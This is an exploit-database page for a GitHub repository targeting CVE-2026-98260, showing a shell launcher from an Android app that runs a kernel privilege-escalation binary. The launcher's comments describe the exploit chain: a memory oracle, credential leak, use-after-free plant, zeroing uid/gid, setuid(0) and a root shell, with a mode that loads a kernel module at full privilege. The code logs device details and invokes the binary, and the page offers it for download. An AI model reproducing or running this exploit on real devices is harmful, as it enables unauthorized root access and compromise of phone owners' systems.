Exploit databaseDownload repository ZIP
GH-f8cc84a2855e95b3dbd174b764b47504
sabuweis/cve-2026-98260
Sources for CVE-2026-98260
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
sabuweis/cve-2026-98260Revision b8c832d80a4a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
app/src/main/assets/fyl-core.sh
Shell · 1,880 bytes#!/system/bin/sh
# run_core.sh -- 0.12 refactor launcher: run the profile core directly as the
# Shizuku shell user-service identity (uid 2000 / u:r:shell:s0, enforcing).
#
# The core owns the whole plan: kmem trace oracle -> cred leak -> UAF plant
# with read-back verification and retry -> zero write of uid+gid -> setuid(0)
# -> exec of the proof shell. This script only reports the identity the run
# happened under and relays the core's log (IcService pumps stdout into the
# app log and /sdcard/Download).
#
# The binary embeds one kernel profile. It refuses to run when `uname -r`
# does not match that profile unless FYL_ALLOW_ANY_KERNEL=1 is set, and it
# also rejects an implausible KASLR slide before any write.
set -u
trap '' PIPE HUP INT TERM
BIN="${FYL_BIN:-/data/local/tmp/fyl-core}"
[ -x "$BIN" ] || { echo "missing $BIN" >&2; exit 1; }
echo "[core] start uid=$(id -u 2>/dev/null) ctx=$(cat /proc/self/attr/current 2>/dev/null)"
echo "[core] kernel=$(uname -r 2>/dev/null)"
echo "[core] device=$(getprop ro.product.device 2>/dev/null) model=$(getprop ro.product.model 2>/dev/null)"
echo "[core] build=$(getprop ro.build.display.id 2>/dev/null)"
echo "[core] memtotal=$(sed -n 's/^MemTotal:[[:space:]]*\([0-9]*\).*/\1/p' /proc/meminfo 2>/dev/null) kB"
# KSU handoff: the App prepends its handoff script to PAYLOAD_CMD when a
# manager is selected. Late-loading the manager's kernel module needs root
# with the full capability set, which is the fake-cred endgame ("ksu" mode);
# the shell path only reaches uid 0 inside u:r:shell:s0 without caps.
MODE=
if [ "${FYL_KSU:-0}" = "1" ]; then MODE=ksu; fi
case "${PAYLOAD_CMD:-}" in
*ksu_handoff*|*ksu-h*) MODE=ksu ;;
esac
if [ -n "$MODE" ]; then
echo "[core] mode=ksu payload=$(echo "${PAYLOAD_CMD:-}" | head -c 80)"
"$BIN" "$MODE" 2>&1
else
"$BIN" 2>&1
fi
rc=$?
echo "[core] exit=$rc"
exit "$rc"